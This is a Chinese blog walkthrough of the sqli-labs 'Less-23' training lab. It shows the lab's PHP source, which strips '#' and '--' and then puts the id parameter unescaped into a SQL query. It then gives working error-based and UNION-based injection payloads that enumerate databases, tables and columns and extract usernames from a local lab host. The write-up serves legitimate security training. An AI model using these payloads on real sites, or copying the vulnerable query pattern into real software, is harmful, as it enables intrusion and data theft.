sqli-labs————less 23(高階注入篇)
阿新 • • 發佈:2019-02-02
前言
從這一關開始,我們進進入了短暫的高階注入部分,這一部分中將會陸續介紹一些更為巧妙的注入技巧。
Less -23
檢視一下原始碼:
關鍵的sql執行語句:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-23 **Error Based- no comments**</title> </head> <body bgcolor="#000000"> <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"> <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id); //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font color= "#0000ff">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-23.jpg" /></center> </body> </html>
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
從該SQL語句中我們可以看出如果我們要構造payload那麼我們需要做的就是閉合前面的單引號、同時閉合後面的單引號。
獲取mysql資料庫的basedir:
報錯注入:
注入語句:
http://192.168.11.136/sqli-labs/Less-23?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1
獲取資料庫資訊:
http://192.168.11.136/sqli-labs/Less-23?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
檢視資料庫security中的資料表:
注入語句:
http://192.168.11.136/sqli-labs/Less-23?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
檢視user表中的所有列:
注入語句
http://192.168.11.136/sqli-labs/Less-23?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3
獲取表中資訊內容:
注入語句:
http://192.168.11.136/sqli-labs/Less-23?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3
至此,我們完成了一個基本的注入過程。